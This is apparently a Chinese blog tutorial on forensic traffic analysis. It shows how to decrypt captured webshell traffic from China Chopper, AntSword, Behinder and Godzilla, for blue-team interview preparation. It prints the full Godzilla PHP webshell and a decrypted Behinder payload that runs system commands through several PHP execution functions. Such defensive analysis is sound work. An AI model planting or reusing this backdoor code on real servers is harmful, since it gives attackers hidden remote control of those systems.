赞
踩
URL解码平台:http://www.jsons.cn/urlencode/
Base64解码平台:http://www.jsons.cn/base64/
本篇文章涉及到的数据包下载链接:流量包及解密文件
通过关注liuliang1的数据包,可以看到返回报文是明文。发送包中,cmd后面有加密密文,并且存在URL编码。
第一步首先进将红框部分内容进行URL解码,得到解密前的Base64代码
第二步将上述蓝框部分内容进行Base64解码,得到解密后的Base64代码
黄框部分为攻击者所执行的代码,攻击代码为:“nestat -an |find 'ESTABLISHED”
中国菜刀总体解密流程较为简单,先URL解码,然后Base64解密即可
通过观察liuliang2的数据包,可以看到在默认的蚁剑链接请求包中,User-Agent为antSword/v2.1.
并且返回包文以明文形式展示。具体解密流程如下:
第一步先将蓝框部分代码进行URL解码,得到如下内容:
其中蓝框部分内容为蚁剑基础功能函数代码,而具体执行代码以Base64形式进行加密,具体如图中阴影部分代码。
将具体Base64加密后的具体执行代码进行Base64解密,得到实际操作的功能函数
由蓝框可知,攻击代码为:“ipconfig”
若看到Webshll存在display_error且未编码,则大概率是蚁剑,并且蚁剑的UA请求头中有antsword
阅读本段前,需要阅读前置文章如何进行Web安全流量分析。
首先可以看到无论发送包还是请求包,流量都是加密的,并且存在明显的冰蝎4.0特征:
然后从黑客上传的shell1.php中,可以看到key。
首先拿着shell1.php中的key,带入到冰蝎中替换(如果是黑客使用的是默认key,则无需替换)
然后根据流量包可知发送和接受报文中都传送的是加密报文,所以在设置好传输协议和解密报文后,直接进行解密,得到Base64加密后的代码:
@error_reporting(0);function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }}function main($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result));}function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode";$after=$bs($data.""); return $after;}$cmd="Y2QgL2QgIkU6XFBIUFNUVURZXFBIUFR1dG9yaWFsXFdXV1xkdndhXGhhY2thYmxlXHVwbG9hZHNcIiZ3aG9hbWk=";$cmd=base64_decode($cmd);$path="RTovUEhQU1RVRFkvUEhQVHV0b3JpYWwvV1dXL2R2d2EvaGFja2FibGUvdXBsb2Fkcy8=";$path=base64_decode($path);main($cmd,$path);x鷼l瞧Q炞�
将解密后代码的Base64代码部分进行Base64解密,即可获得真正的攻击代码:
可以看到黑客执行了"whoami"的攻击命令。
首先看流量包,“pass=”是一个很明显的哥斯拉特征。
首先我们从黑客的Shell8.php中找到key。$key=‘3c6e0b8a9c15224a’;
<?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='pass'; $payloadName='payload'; $key='3c6e0b8a9c15224a'; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
然后将Key带入到解密代码中,继而将先pass后内容进行URL解码然后再当作payload传入到解密代码中
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$key='3c6e0b8a9c15224a';
$pass='你的payload';
echo"<br/><br/>------payload------<br/><br/>";
echo encode(base64_decode($pass),$key);
echo"<br/><br/>------payload(GZIP)------<br/><br/>";
echo gzdecode(encode(base64_decode($pass),$key));
最后访问运行的PHP文件,即可得到黑客的执行代码:
可以看到黑客执行攻击代码为"ipconfig"
以上是基本的四种常见Webshell管理工具的解密流程,本篇仅以PHP文件解密进行教程,抛砖引玉,希望一方面让大家熟悉实际的流量解密,在护网面试中有话可说,另一方面也希望能够提升大家的网络安全技术站,我们始于此文,通过护网面试锤炼增加自己的技术,一起进步。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。